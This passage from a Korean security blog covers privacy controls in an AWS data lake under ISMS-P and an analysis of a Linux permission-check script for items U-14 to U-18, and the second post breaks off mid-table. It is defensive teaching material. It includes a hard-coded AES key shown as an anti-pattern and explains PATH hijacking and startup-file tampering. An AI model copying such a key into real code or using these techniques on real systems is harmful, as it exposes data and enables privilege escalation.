암호화를 적용하면서도 다음과 같은 구조라면 문제가 된다.

aes_encrypt(
    email,
    "MY_AES_KEY_123456"
)

특히 실제 운영환경에서 키가 다음과 같이 저장되는 것은 피해야 한다.

소스코드
설정파일
Git Repository
배치 스크립트
Docker Image
로그 파일

AWS 환경이라면 KMS 등 적절한 키 관리수단을 활용하고, 애플리케이션이나 ETL 작업에는 필요한 권한만 부여하는 구조를 검토할 수 있다.

개념적으로는 다음과 같은 구조다.

PySpark ETL
     │
     │ IAM Role
     ▼
AWS KMS
     │
     ▼
암호키 사용
     │
     ▼
S3 암호화 데이터

이때 중요한 것은 단순히 “KMS를 사용한다”가 아니다.

누가 어떤 키를 어떤 목적으로 사용할 수 있는지까지 통제하는 것이 중요하다.

14. 심사에서는 어떤 증적을 확인할까?

이와 같은 환경이라면 다음 자료를 확인할 수 있다.

정책·관리 측면

암호화 정책
암호화 대상 정의
암호 알고리즘 및 보안강도 기준
암호키 관리절차
개인정보 처리 현황
위험분석 결과
예외 승인 기록

AWS 환경

S3 Bucket Policy
IAM Policy
IAM Role
KMS Key Policy
S3 기본 암호화 설정
CloudTrail
S3 접근 로그
Athena Workgroup 및 접근권한

ETL

PySpark 소스코드
ETL 배치 설정
실행계정
Secrets 관리방식
암호화 적용 여부
임시파일 생성 위치
스크립트 내 개인정보 및 암호키 노출 여부

외부 CRM

계약서
개인정보 처리위탁 관련 자료
API 연계 명세
전송구간 암호화 설정
API 인증정보 관리
데이터 보관 및 삭제정책
국외 이전 여부

15. 인터뷰에서 확인하면 좋은 질문

실제 심사나 내부 점검이라면 다음 질문이 유용하다.

질문 1

운영 DB에서는 암호화되어 있는데 Data Lake에서는 평문으로 저장하는 이유는 무엇인가?

단순히 “CRM API가 필요해서”라는 답변에서 끝내지 않고 정책상 예외인지, 위험분석을 했는지를 확인한다.

질문 2

이메일과 전화번호에 대해 암호화 대상 여부를 어떤 기준으로 판단했는가?

암호화 정책과 실제 운영환경이 일치하는지 확인한다.

질문 3

S3에서 원본 이메일과 전화번호를 조회할 수 있는 사람은 누구인가?

IAM 권한과 실제 업무상 필요성을 비교한다.

질문 4

Athena 분석 담당자가 원본 이메일을 조회해야 하는 업무가 있는가?

업무상 필요성과 최소권한 원칙을 확인한다.

질문 5

CRM 발송용으로 생성된 임시 파일은 언제 삭제되는가?

평문 데이터가 별도의 스테이징 영역으로 복제되는지를 확인한다.

질문 6

암호키는 어디에서 관리하고 누가 접근할 수 있는가?

암호키 관리 기준과 실제 운영환경이 일치하는지 확인한다.

16. 자주 발생하는 판단 오류

오류 1. “S3는 Private이니까 괜찮다”

S3 접근통제는 중요한 보호조치지만 암호화 정책 적용 여부와 동일한 개념은 아니다.

오류 2. “마스킹했으니까 암호화했다”

마스킹과 암호화는 서로 다른 보호조치다.

오류 3. “SHA-256이면 개인정보가 아니다”

해시 결과가 개인과 연결될 가능성이 있는지 별도로 검토해야 한다.

오류 4. “KMS를 사용하니까 암호화 통제는 끝났다”

키 관리수단을 사용하더라도 실제 데이터가 암호화되어 있는지, 어떤 데이터가 암호화 대상인지, 접근권한이 적절한지 확인해야 한다.

오류 5. “CRM 때문에 평문이 필요하므로 예외다”

업무상 필요성이 있다는 것과 암호화 정책상 적절한 예외라는 것은 다르다.

예외를 허용한다면 최소한 다음 사항을 확인할 필요가 있다.

업무상 필요성
      ↓
위험분석
      ↓
대체 보호조치 검토
      ↓
예외 승인
      ↓
접근권한 최소화
      ↓
기간·범위 제한
      ↓
정기 재검토

17. 이 사례에서 개선된 데이터 구조

기존 구조가 다음과 같았다면,

Aurora
  ↓
PySpark
  ↓
S3
  ├─ email 평문
  ├─ phone 평문
  └─ 분석 데이터
       ↓
    Athena
       ↓
    CRM

개선 구조는 다음과 같이 설계할 수 있다.

Aurora
  │
  ▼
PySpark ETL
  │
  ├───────────────┐
  │               │
  ▼               ▼
Restricted      Analytics
Zone            Zone
  │               │
  │             가명식별자
  │               │
  │               ▼
  │             Athena
  │               │
  └───────┬───────┘
          │
     필요한 사용자만
          │
          ▼
    CRM Mapping
          │
      암호화 전송
          │
          ▼
     External CRM

이 구조에서 중요한 것은 원본 개인정보를 무조건 없애는 것만이 목표가 아니라, 원본 개인정보에 접근해야 하는 범위 자체를 줄이는 것이다.

18. 사후 검증은 “암호화 설정이 켜져 있는가”에서 끝나면 안 된다

실제 점검에서는 다음을 함께 확인하는 것이 좋다.

S3

□ 저장 데이터 암호화 설정
□ Bucket Policy
□ IAM Role
□ Object 접근권한
□ Public Access 차단
□ KMS Key Policy

Athena

□ 테이블/뷰 접근권한
□ 원본 개인정보 컬럼 노출 여부
□ 쿼리 권한
□ Query Result 저장 위치
□ Query Result에 개인정보 포함 여부

ETL

□ 원본 데이터 접근권한
□ 임시파일
□ 로그 내 개인정보 포함 여부
□ 스크립트 내 암호키 존재 여부
□ Secrets 관리방식

CRM

□ 전송 데이터 최소화
□ API 인증정보 관리
□ 전송구간 보호
□ 스테이징 데이터 삭제
□ 외부 서비스 보관기간

19. “암호화 적용”과 “데이터 최소화”를 함께 봐야 한다

이번 사례에서 가장 중요한 실무 포인트는 이것이다.

암호화만 적용한다고 개인정보 보호 문제가 모두 해결되는 것은 아니다.

예를 들어 분석팀이 실제로 이메일 주소를 필요로 하지 않는다면,

이메일 평문

을

암호화된 이메일

로 바꾸는 것보다 더 근본적인 방법은

이메일 자체를 분석 영역에서 제거

하는 것이다.

즉,

원본 개인정보
     ↓
필요성 검토
     ↓
불필요한 정보 제거
     ↓
필요한 데이터만 가명화/암호화
     ↓
접근권한 최소화
     ↓
전송구간 보호

와 같은 순서로 설계하는 것이 효과적이다.

20. 최종 점검 체크리스트

점검항목확인

개인정보 처리현황 파악	□
개인정보 유형별 암호화 대상 정의	□
암호화 정책 수립	□
저장 시 암호화 적용	□
전송·전달 구간 암호화	□
안전한 암호 알고리즘 사용	□
암호키 관리절차 수립	□
KMS 등 키 관리수단 적용	□
키 접근권한 최소화	□
Data Lake 접근권한 최소화	□
분석영역 원본 개인정보 최소화	□
Athena 조회권한 제한	□
CRM 연계 데이터 최소화	□
스테이징 데이터 관리	□
로그 내 개인정보 노출 여부 확인	□
외부 CRM 위탁·제공 여부 검토	□
국외 이전 여부 검토	□
정기적인 통제 검증	□

21. 이번 사례에서 얻을 수 있는 실무적인 교훈

Data Lake 환경에서는 개인정보가 한 번만 저장되는 것이 아니다.

운영 DB
 ↓
ETL
 ↓
Raw Data
 ↓
Cleansed Data
 ↓
Analytics Data
 ↓
Athena 결과
 ↓
Staging
 ↓
CRM

데이터가 여러 단계로 복제되면서 원래 DB에서는 존재하지 않던 새로운 개인정보 저장소가 만들어질 수 있다.

따라서 개인정보 보호 담당자는 운영 DB만 확인해서는 안 된다.

다음 질문을 함께 확인해야 한다.

“이 개인정보가 실제로 어디까지 복제되고 있는가?”

그리고 그 다음 질문은 다음과 같다.

“각 구간에서 이 개인정보를 정말 원본 형태로 가지고 있어야 하는가?”

마지막으로,

“원본이 필요한 구간에서는 어떤 암호화·접근통제·키 관리가 적용되어 있는가?”

까지 확인해야 한다.

22. 마무리

클라우드 Data Lake 환경에서 개인정보 보호의 핵심은 단순히 “S3 암호화를 켜는 것”이 아니다.

실제 운영환경에서는 다음 네 가지를 함께 봐야 한다.

① 어떤 개인정보를 보유하는가?
        ↓
② 어디까지 복제되는가?
        ↓
③ 누가 원본을 볼 수 있는가?
        ↓
④ 저장·전송·키 관리 보호조치가 적절한가?

특히 ISMS-P 관점에서는 2.7 암호화 적용을 중심으로 법적 요구사항, 암호화 대상, 암호강도, 저장·전송·전달 구간의 보호조치가 실제 운영환경에 적용되어 있는지 확인하는 것이 중요하다. 현재 ISMS-P 공식 인증기준에서도 2.7은 ‘암호화 적용’으로 분류되어 있다.

개인정보 보호법 제29조 역시 개인정보의 유출 등을 방지하기 위해 필요한 안전성 확보조치를 요구하고 있으며, 시행령 제30조에서 접근권한 제한 등 구체적인 안전조치 사항을 규정하고 있다.

그리고 암호화만으로 끝내지 않고 데이터 최소화 → 접근권한 최소화 → 가명화/암호화 → 안전한 전송 → 암호키 관리 → 지속적인 검증까지 하나의 통제로 연결해야 한다.

결국 Data Lake의 개인정보 보호는 특정 AWS 설정 하나의 문제가 아니라,

데이터가 생성되는 순간부터 분석·연계·삭제되는 순간까지 개인정보의 전체 흐름을 통제하는 문제

라고 보는 것이 실무적으로 더 적절하다.

참고자료

개인정보 보호법 제29조(안전조치의무) — 국가법령정보센터
개인정보 보호법 시행령 제30조(개인정보의 안전성 확보 조치) — 국가법령정보센터
ISMS-P 인증기준 — 2.7 암호화 적용
개인정보의 안전성 확보조치 기준 안내서 — 개인정보보호위원회

[리눅스 보안취약점 점검] 파일 및 디렉터리 관리 U-14~U-18 자동화 스크립트 분석

보안실무자J — Tue, 8 Sep 2026 09:48:32 +0900

리눅스 서버의 파일과 디렉터리는 단순히 데이터를 저장하는 공간이 아니다.

/etc/passwd, /etc/shadow와 같은 계정·인증 파일부터 시스템 시작 과정에서 실행되는 스크립트, 관리자 환경변수, 애플리케이션이 생성한 파일까지 운영체제의 주요 기능이 파일 시스템을 통해 연결되어 있다.

따라서 파일 하나의 소유자나 권한이 잘못 설정되거나, 관리자의 PATH에 안전하지 않은 경로가 포함되어 있는 경우 단순한 설정 오류를 넘어 권한 상승이나 인증정보 노출, 시스템 기동 과정의 악성 코드 실행으로 이어질 가능성이 있다.

이번 글에서는 파일 및 디렉터리 관리 영역의 U-14~U-18을 대상으로 현재 사용 중인 자동 진단 스크립트가 실제로 어떤 범위를 검사하는지 분석한다.

특히 자동화 점검 결과만 보고 파일을 삭제하거나 권한을 일괄 변경하면 정상적인 서비스까지 영향을 받을 수 있으므로, 점검 결과의 의미와 조치 시 주의해야 할 부분을 함께 확인하는 것을 목적으로 한다.

1. U-14~U-18에서 무엇을 확인하는가

이번 영역은 크게 네 가지 관점으로 나눌 수 있다.

실행 경로의 안전성 → U-14
소유자가 사라진 파일의 존재 여부 → U-15
계정 및 인증 관련 핵심 파일 보호 → U-16, U-18
시스템 시작 과정에서 실행되는 파일 보호 → U-17

점검코드	점검 명칭	주요 점검 대상	현재 스크립트의 핵심 검사	위험도
U-14	root 홈, 패스 디렉터리 권한 및 패스 설정	$PATH, /etc/profile, root 환경 설정	현재 PATH에 . 또는 빈 경로가 포함되는지 확인	상
U-15	소유자 없는 파일 및 디렉터리 존재 여부	/, /home, /var, /tmp, /usr, /opt	nouser 또는 nogroup 파일을 검색	하
U-16	/etc/passwd 파일 소유자 및 권한 설정	/etc/passwd	소유자와 Group/Other의 쓰기·실행 권한 확인	상
U-17	시스템 시작 스크립트 권한 설정	/etc/rc.d, /etc/init.d, /etc/systemd/system 등	Other 쓰기 권한이 있는 파일 검색	상
U-18	/etc/shadow 파일 소유자 및 권한 설정	/etc/shadow	root 소유 여부와 400/000, 600/640 권한을 구분하여 확인	상

주의: 위 표는 일반적인 보안 가이드의 모든 판단 요소가 아니라 현재 사용 중인 자동화 스크립트가 실제로 검사하는 범위를 기준으로 작성했다.

2. U-14 — PATH가 공격 경로가 될 수 있는 이유

2.1 점검 배경

관리자가 Linux에서 명령어를 입력하면 Shell은 PATH에 등록된 디렉터리를 순서대로 검색하여 실행할 프로그램을 찾는다.

예를 들어 다음과 같은 PATH가 있다고 가정한다.

PATH=.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

현재 디렉터리인 .이 PATH의 가장 앞에 있기 때문에 관리자가 단순히 다음 명령을 실행했을 때,

ls

현재 디렉터리에 공격자가 만들어 놓은 ls라는 실행 파일이 있다면 시스템의 정상적인 /usr/bin/ls보다 먼저 실행될 가능성이 있다.

따라서 root 계정의 PATH에는 현재 디렉터리나 빈 경로가 포함되지 않도록 구성하는 것이 중요하다.

2.2 현재 자동화 스크립트가 검사하는 것

# [상세 해설] U-14 점검 항목 시작 알림
CODE "[ U-14 ] root 홈, 패스 디렉터리 권한 및 패스 설정"

# [상세 해설] echo "$PATH" 출력을 확장 정규식으로 검사
# 정규식 패턴 분석:
#   - \. : 현재 디렉터리를 나타내는 점(dot) 포함 여부
#   - \:\: : 디렉터리 경로 누락으로 빈 경로(현재 디렉터리로 간주됨)가 발생하는 이중 콜론
#   - \:$ : PATH 문자열 끝에 콜론이 위치하여 현재 디렉터리가 마지막 검색 경로로 잡히는 형태
#   - ^\: : PATH 문자열 시작에 콜론이 위치하여 현재 디렉터리가 최우선 검색 경로로 잡히는 형태
if echo "$PATH" | grep -E -q "\.|\:\:|\:$|^\:"; then
    WARN "root 계정의 PATH 환경변수에 '.' 또는 빈 경로가 포함되어 있습니다." "현재 PATH=$PATH"
else
    OK "root 계정의 PATH 환경변수에 '.' 또는 빈 경로가 안전하게 제거되어 있습니다." "현재 PATH=$PATH"
fi

FINISH "[ U-14 ] 점검완료"

2.3 이 스크립트의 판정 방식

U-14는 현재 Shell에 로드되어 있는 $PATH 문자열을 대상으로 다음 패턴을 검색한다.

.
::
:

정확히는 다음과 같은 형태를 위험 요소로 검색한다.

PATH=.:/usr/bin
PATH=/usr/bin:.
PATH=/usr/bin::/bin
PATH=:/usr/bin
PATH=/usr/bin:

따라서 현재 스크립트에서는 위험한 패턴이 발견되면 WARN, 발견되지 않으면 OK가 출력된다.

중요한 부분은 현재 스크립트가 /etc/profile, /root/.bashrc, /etc/profile.d/*.sh 등을 직접 하나씩 분석하는 것이 아니라 현재 $PATH 값을 검사한다는 점이다.

즉, 어떤 설정 파일에서 PATH가 만들어졌는지를 추적하는 기능은 별도로 포함되어 있지 않다.

2.4 운영 환경에서 확인할 사항

현재 PATH를 먼저 확인한다.

echo "$PATH"

위험한 패턴을 별도로 확인할 수도 있다.

echo "$PATH" | grep -E "(^\:|\:\:|\:$|\.\/|\:\.\:|\:\.$)"

아무런 결과가 나오지 않는 것을 기준으로 확인할 수 있다.

또한 PATH를 변경하기 전에 다음 설정 파일들을 함께 확인하는 것이 안전하다.

/etc/profile
/root/.bash_profile
/root/.bashrc
/etc/profile.d/*.sh

2.5 실무에서 자주 놓치는 부분

일부 애플리케이션 설치 스크립트나 개발 환경에서는 편의를 위해 다음과 같은 설정을 추가하는 경우가 있다.

export PATH=.:$PATH

특히 CI/CD Agent나 개발자가 사용하는 환경에서는 이런 설정이 의도적으로 들어갈 수도 있다.

따라서 .을 발견했다고 바로 삭제하기보다 어떤 설정 파일에서 추가되었는지와 해당 환경에서 왜 필요한지를 먼저 확인하는 것이 필요하다.

보안점검에서는 위험한 설정을 제거하는 것만큼 기존 운영 환경의 의존성을 확인하는 과정도 중요하다.

2.6 안전한 조치

변경 전에 관련 파일을 백업한다.

cp -p /etc/profile /etc/profile.bak_$(date +%Y%m%d)
cp -p /root/.bash_profile /root/.bash_profile.bak_$(date +%Y%m%d) 2>/dev/null
cp -p /root/.bashrc /root/.bashrc.bak_$(date +%Y%m%d) 2>/dev/null

이후 해당 설정에서 . 또는 불필요한 빈 경로를 제거한다.

예를 들어 다음 설정이 있다면,

export PATH=.:$PATH

운영 환경에 맞는 절대 경로 기반 PATH로 변경한다.

변경 후에는 새 Shell에서 실제 적용값을 확인한다.

source /etc/profile
echo "$PATH"

3. U-15 — 소유자가 사라진 파일을 발견했을 때

U-15는 다른 항목과 접근 방식이 조금 다르다.

/etc/passwd나 /etc/shadow처럼 특정 파일의 권한을 확인하는 것이 아니라 시스템 안에서 정상적인 소유자 또는 그룹과 연결되지 않는 파일을 찾는 항목이다.

3.1 왜 고아 파일이 생기는가

사용자 계정이 삭제되거나 패키지가 비정상적으로 제거된 이후에도 해당 계정이 생성했던 파일은 남아 있을 수 있다.

이 경우 파일의 UID/GID는 그대로 존재하지만 현재 시스템의 /etc/passwd, /etc/group에서 해당 ID를 사용하는 계정을 찾지 못할 수 있다.

이런 파일을 흔히 고아 파일(Orphan File)이라고 한다.

다만 고아 파일 = 즉시 삭제해야 하는 파일은 아니다.

애플리케이션 데이터, 로그, 컨테이너 환경의 파일 등 정상적인 운영 과정에서도 이러한 상황이 발생할 수 있기 때문이다.

3.2 자동 진단 스크립트

# [상세 해설] U-15 점검 항목 시작 알림
CODE "[ U-15 ] 소유자 없는 파일 및 디렉터리 존재 여부"

# [상세 해설] 대용량 스토리지 및 네트워크 마운트로 인한 부하를 방지하기 위해 로컬 핵심 디렉터리 지정
TARGET_DIRS="/ /home /var /tmp /usr /opt"

# [상세 해설] find 명령어로 -nouser 또는 -nogroup 조건을 검색하되,
# -xdev 옵션을 통해 다른 파일시스템(NFS 등)으로 탐색이 넘어가는 것을 차단함
# EXEC_TIMEOUT 함수를 통해 60초 초과 시 탐색을 중단하여 I/O 병목 방지
ORPHAN_FILES=$(EXEC_TIMEOUT 60 "find $TARGET_DIRS -xdev -type f \( -nouser -o -nogroup \) 2>/dev/null | head -n 5 | xargs")
EXIT_CODE=$?

# [상세 해설] Exit Code 124(타임아웃 발생) 여부 및 파일 존재 여부 조건 분기
if [ "$EXIT_CODE" -eq 124 ]; then
    INFO "소유자 없는 파일 검색 중 응답 지연(60초 초과)이 발생하여 점검을 중단했습니다." "수동 점검 요망"
elif [ -n "$ORPHAN_FILES" ]; then
    WARN "소유자나 그룹이 존재하지 않는 고아 파일이 발견되었습니다." "발견된 파일(최대 5개): [ $ORPHAN_FILES ]"
else
    OK "시스템 내에 소유자나 그룹이 존재하지 않는 파일이 발견되지 않았습니다." "정상 확인"
fi

FINISH "[ U-15 ] 점검완료"

3.3 이 스크립트가 실제로 보는 범위

현재 스크립트는 다음 경로를 대상으로 한다.

/
/home
/var
/tmp
/usr
/opt

그리고 find에 -xdev 옵션을 사용한다.

find $TARGET_DIRS -xdev

따라서 다른 파일시스템으로 넘어가서 검색하지 않는다.

또한 결과를 최대 5개까지만 가져온다.

head -n 5

즉, U-15에서 WARN이 발생했다고 해서 고아 파일이 정확히 5개만 존재한다는 의미는 아니다.

스크립트 출력은 발견된 파일의 일부를 보여주는 용도이며, 실제 조치 전에는 전체 목록을 별도로 확인해야 한다.

3.4 60초 타임아웃도 점검 결과의 일부다

U-15는 대용량 서버에서 find 자체가 상당한 부하를 발생시킬 수 있다.

현재 스크립트는 EXEC_TIMEOUT 60을 사용하기 때문에 60초를 초과하면 점검을 중단하고 INFO를 출력한다.

따라서 다음 결과를 단순히 양호로 해석해서는 안 된다.

소유자 없는 파일 검색 중 응답 지연(60초 초과)이 발생하여 점검을 중단했습니다.

이 경우는 정상 확인이 아니라 자동점검 범위 내에서 확인을 완료하지 못한 상태로 보고 수동 점검이 필요하다.

3.5 수동 확인

전체 파일을 확인하려면 다음과 같이 실행할 수 있다.

find / -xdev \( -nouser -o -nogroup \) -ls 2>/dev/null

발견된 파일은 바로 삭제하지 않고 다음 정보를 먼저 확인한다.

ls -l <파일경로>
stat <파일경로>

그리고 해당 파일이 다음 중 어떤 성격인지 확인한다.

애플리케이션 데이터
로그
임시 파일
백업 파일
패키지 관련 파일
컨테이너 볼륨
삭제된 사용자 계정의 잔여 파일

3.6 특히 컨테이너 환경은 별도 확인

Docker나 Podman 환경에서는 컨테이너 내부 UID/GID와 호스트 OS의 계정 정보가 일치하지 않을 수 있다.

따라서 /var/lib/docker, /var/lib/containers 등의 저장 영역에서 발견된 파일을 일반적인 로컬 파일과 동일하게 판단하면 오탐 가능성이 있다.

컨테이너 관련 경로는 별도의 컨테이너 보안점검 기준으로 관리하는 방법도 고려할 수 있다.

3.7 안전한 조치

먼저 발견 목록을 저장한다.

find / -xdev \( -nouser -o -nogroup \) 2>/dev/null > /root/orphan_files_list.txt

그 다음 파일의 업무상 용도를 확인한다.

정상적인 애플리케이션 파일이라면 적절한 계정으로 소유권을 변경할 수 있다.

chown root:root <파일_또는_디렉터리_경로>

반대로 명백하게 불필요한 임시 파일인 경우에도 즉시 rm -rf를 실행하기보다 백업 후 삭제하는 방법이 안전하다.

tar -czf /root/orphan_backup_$(date +%Y%m%d).tar.gz \
    -T /root/orphan_files_list.txt

삭제가 필요한 파일만 선별하여 처리한다.

4. U-16 — /etc/passwd는 왜 권한을 함부로 줄이면 안 되는가

/etc/passwd는 이름만 보면 비밀번호가 저장되는 파일처럼 보이지만 실제로는 계정명, UID, GID, 홈 디렉터리, 로그인 Shell 등의 계정 정보를 담고 있다.

이 파일에 일반 사용자의 쓰기 권한이 있다면 계정정보 변조를 통한 권한 상승으로 이어질 수 있다.

반대로 보안성을 높이겠다는 이유로 읽기 권한까지 과도하게 제한하면 일반 사용자와 시스템 서비스가 정상적으로 계정 정보를 조회하지 못하는 문제가 발생할 수 있다.

따라서 U-16은 “권한을 최대한 낮추는 것”이 목적이 아니라 적절한 권한을 유지하면서 비인가자의 변경을 막는 것이 핵심이다.

4.1 현재 자동 진단 스크립트

# [상세 해설] U-16 점검 항목 시작 알림
CODE "[ U-16 ] /etc/passwd 파일 소유자 및 권한 설정"

# [상세 해설] 파일 존재 여부 확인 후 소유자 및 권한 마스크 파싱
if [ -f /etc/passwd ]; then
    OWNER=$(ls -l /etc/passwd | awk '{print $3}')
    PERMS=$(ls -l /etc/passwd | awk '{print $1}')

    # [상세 해설] 그룹(5~7번째 글자) 및 타사용자(8~10번째 글자) 권한 필드 추출
    PERM_G=$(echo "$PERMS" | cut -c 5-7)
    PERM_O=$(echo "$PERMS" | cut -c 8-10)

    # [상세 해설] 소유자가 root이고 그룹 및 Other에 쓰기(w) 또는 실행(x) 권한이 없는지 판정
    if [ "$OWNER" == "root" ] && ! echo "$PERM_G" | grep -q "[wx]" && ! echo "$PERM_O" | grep -q "[wx]"; then
        OK "/etc/passwd 파일의 소유자가 root이고, 권한이 644 이하로 안전합니다." "소유자: $OWNER, 권한: $PERMS"
    else
        WARN "/etc/passwd 파일의 소유자가 root가 아니거나, 권한이 644를 초과합니다." "소유자: $OWNER, 권한: $PERMS"
    fi
else
    WARN "/etc/passwd 파일이 존재하지 않습니다." "파일 누락 또는 경로 다름"
fi

FINISH "[ U-16 ] 점검완료"

4.2 코드에서 실제로 확인하는 부분

이 스크립트는 다음 두 가지를 확인한다.

소유자

OWNER == root

Group 및 Other 권한

Group과 Other에 다음 권한이 있는지를 검사한다.

w
x

즉, 현재 스크립트는 Group과 Other에 쓰기 또는 실행 권한이 존재하는지를 확인한다.

따라서 단순히 파일 권한 숫자가 644인지 문자열로 비교하는 방식은 아니다.

예를 들어 640, 600, 400 등도 현재 조건에서는 Group과 Other에 쓰기·실행 권한이 없으면 조건을 만족할 수 있다.

4.3 수동 확인

현재 파일 상태는 다음과 같이 확인할 수 있다.

stat -c "%a %U:%G %n" /etc/passwd

일반 계정에서 계정정보를 정상적으로 조회할 수 있는지도 확인한다.

su - nobody -s /bin/bash -c "id"

운영 환경에 따라 nobody 계정의 Shell이나 로그인 정책이 다를 수 있으므로, 테스트 명령 자체가 실패했다고 해서 /etc/passwd 권한 문제로 단정해서는 안 된다.

4.4 권한을 600 또는 400으로 줄이는 것이 항상 좋은가?

그렇지 않다.

/etc/passwd는 시스템의 여러 프로그램이 계정 정보를 조회하는 데 사용된다.

따라서 단순히

chmod 400 /etc/passwd

처럼 권한을 강제로 낮추는 것은 실제 운영환경에서 예상하지 못한 문제를 만들 수 있다.

U-16에서 중요한 것은 비인가 사용자의 쓰기를 막는 것과 시스템이 필요한 계정 정보를 읽을 수 있도록 하는 것 사이의 균형이다.

4.5 안전한 조치

먼저 원본을 백업한다.

cp -p /etc/passwd /etc/passwd.bak_$(date +%Y%m%d)

현재 스크립트의 조치 방법은 다음과 같다.

chown root:root /etc/passwd
chmod 644 /etc/passwd

변경 후 확인한다.

stat -c "%a %U:%G %n" /etc/passwd
id nobody

5. U-17 — 시스템 시작 파일은 왜 별도로 봐야 하는가

U-17은 파일 권한 자체보다 “그 파일이 언제 실행되는가”가 중요한 항목이다.

시스템 부팅 과정에서 자동으로 실행되는 파일에 일반 사용자가 내용을 변경할 수 있다면, 공격자는 해당 파일에 명령을 삽입한 후 시스템 재부팅을 기다리는 방식으로 권한 상승을 시도할 수 있다.

특히 과거 SysV init 기반 시스템뿐 아니라 현재의 systemd 환경까지 고려해야 한다.

5.1 현재 스크립트의 검사 범위

# [상세 해설] U-17 점검 항목 시작 알림
CODE "[ U-17 ] 시스템 시작 스크립트 권한 설정"

# [상세 해설] SysV init 및 systemd 서비스 유닛 경로를 점검 대상 리스트에 등록
START_SCRIPTS="/etc/rc.d /etc/rc*.d /etc/init.d /etc/rc.local /etc/rc.sysinit /etc/systemd/system"
VULN_SCRIPTS=""

# [상세 해설] 각 디렉터리를 순회하며 Other 사용자에게 쓰기 권한(-perm -002)이 부여된 파일 탐색
for dir in $START_SCRIPTS; do
    if [ -d "$dir" ] || [ -f "$dir" ]; then
        RES=$(find "$dir" -type f -perm -002 2>/dev/null | head -n 3 | xargs)
        if [ -n "$RES" ]; then
            VULN_SCRIPTS="$VULN_SCRIPTS $RES"
        fi
    fi
done

# [상세 해설] 취약 파일 검출 결과에 따른 출력
if [ -n "$VULN_SCRIPTS" ]; then
    WARN "타사용자 쓰기 권한이 부여된 시작 스크립트가 존재합니다." "취약 스크립트(일부): [ $VULN_SCRIPTS ]"
else
    OK "주요 시스템 시작 스크립트에 비인가자 쓰기 권한이 부여되지 않았습니다." "점검 경로 내 취약 파일 없음"
fi

FINISH "[ U-17 ] 점검완료"

5.2 여기서 중요한 스크립트의 한계

U-17의 원래 요약표에는 시작 스크립트의 소유자가 root이고 Other 쓰기 권한이 없는 경우를 양호 기준으로 설명하고 있다.

하지만 현재 자동화 코드는 실제로 다음 조건을 검색한다.

find "$dir" -type f -perm -002

-perm -002는 Other 사용자에게 쓰기 권한이 있는 파일을 찾는 조건이다.

따라서 현재 스크립트는 파일 소유자가 root인지까지 직접 확인하지 않는다.

이 부분은 포스팅에서도 명확히 구분해 두는 것이 좋다.

현재 자동화 스크립트는 시작 파일의 Other 쓰기 권한을 검사한다. 파일 소유자까지 자동 판정하는 로직은 포함되어 있지 않으므로 소유권은 별도의 수동 확인이 필요하다.

이렇게 작성하면 실제 스크립트보다 넓은 범위를 검사한다고 오해시키지 않는다.

5.3 수동 점검

다음 명령으로 현재 검사 대상에서 Other 쓰기 권한이 있는 파일을 확인할 수 있다.

find /etc/rc.d /etc/rc*.d /etc/init.d /etc/rc.local /etc/systemd/system \
    -type f -perm -002 -ls 2>/dev/null

파일 소유권은 별도로 확인한다.

find /etc/rc.d /etc/init.d /etc/systemd/system \
    -type f -ls 2>/dev/null

systemd 환경에서는 서비스 파일이 실제로 어디에서 제공되는지도 함께 확인할 필요가 있다.

현재 스크립트는 /usr/lib/systemd/system을 검사하지 않으므로 이 경로의 서비스 파일까지 확인하려면 별도의 수동 점검이 필요하다.

5.4 안전한 조치

먼저 관련 파일을 백업한다.

tar -czf /root/init_scripts_backup_$(date +%Y%m%d).tar.gz \
    /etc/rc.d /etc/init.d /etc/systemd/system 2>/dev/null

Other 쓰기 권한을 제거한다.

find /etc/rc.d /etc/rc*.d /etc/init.d /etc/rc.local /etc/systemd/system \
    -type f -exec chmod o-w {} + 2>/dev/null

소유권을 변경해야 하는 파일이라면 업무상 소유 관계를 먼저 확인한 후 적용한다.

현재 조치 스크립트에서는 다음과 같이 root 소유로 변경한다.

find /etc/rc.d /etc/rc*.d /etc/init.d /etc/rc.local /etc/systemd/system \
    -type f -exec chown root:root {} + 2>/dev/null

systemd 설정을 변경한 경우에는 다음 명령으로 데몬 설정을 다시 읽도록 한다.

systemctl daemon-reload

단, 모든 서비스 파일의 소유권을 일괄적으로 변경하는 작업은 운영환경에서 반드시 대상 파일을 확인한 후 적용해야 한다.

6. U-18 — /etc/shadow는 권한 숫자만 보면 안 되는 이유

/etc/shadow는 비밀번호 해시와 계정의 비밀번호 관련 정보를 포함하는 핵심 인증 파일이다.

따라서 일반 사용자가 내용을 읽거나 변경할 수 있는 상태라면 심각한 보안 문제가 발생할 수 있다.

그러나 /etc/shadow는 Linux 배포판에 따라 소유 그룹과 권한 구성이 다를 수 있기 때문에, 단순히 400이 아니면 모두 취약하다고 판단하는 것은 위험하다.

현재 U-18 스크립트도 이 차이를 고려하여 400/000과 600/640을 서로 다르게 처리한다.

6.1 자동 진단 스크립트

# [상세 해설] U-18 점검 항목 시작 알림
CODE "[ U-18 ] /etc/shadow 파일 소유자 및 권한 설정"

# [상세 해설] shadow 파일의 소유자와 10자리 권한 마스크 파싱
if [ -f /etc/shadow ]; then
    OWNER=$(ls -l /etc/shadow | awk '{print $3}')
    PERMS=$(ls -l /etc/shadow | awk '{print $1}' | cut -c 1-10)

    # [상세 해설] KISA 기준 400(r--------) 및 최신 OS 기본값 000(----------)인 경우 양호 판정
    if [ "$OWNER" == "root" ] && [[ "$PERMS" == "-r--------" || "$PERMS" == "----------" ]]; then
        OK "/etc/shadow 파일 소유자가 root이고, 권한이 400 이하로 안전합니다." "소유자: $OWNER, 권한: $PERMS"

    # [상세 해설] 일부 OS의 기본값인 640/600에 대한 정보성 처리
    elif [ "$OWNER" == "root" ] && [[ "$PERMS" == "-rw-------" || "$PERMS" == "-rw-r-----" ]]; then
        INFO "/etc/shadow 파일 권한이 600 또는 640입니다." "Linux 환경 등 일부 OS에서는 600/640이 기본값이나 가이드 기준(400) 초과"

    else
        WARN "/etc/shadow 파일의 권한 또는 소유자가 취약합니다. (권고: root, 400 이하)" "소유자: $OWNER, 권한: $PERMS"
    fi
else
    INFO "/etc/shadow 파일이 존재하지 않습니다." "AIX의 /etc/security/passwd 등 다른 인증 체계 확인 요망"
fi

FINISH "[ U-18 ] 점검완료"

6.2 스크립트 결과를 어떻게 해석할 것인가

현재 스크립트에서는 다음과 같이 구분한다.

소유자권한스크립트 결과

root	400	OK
root	000	OK
root	600	INFO
root	640	INFO
root가 아님	기타	WARN
파일 없음	-	INFO

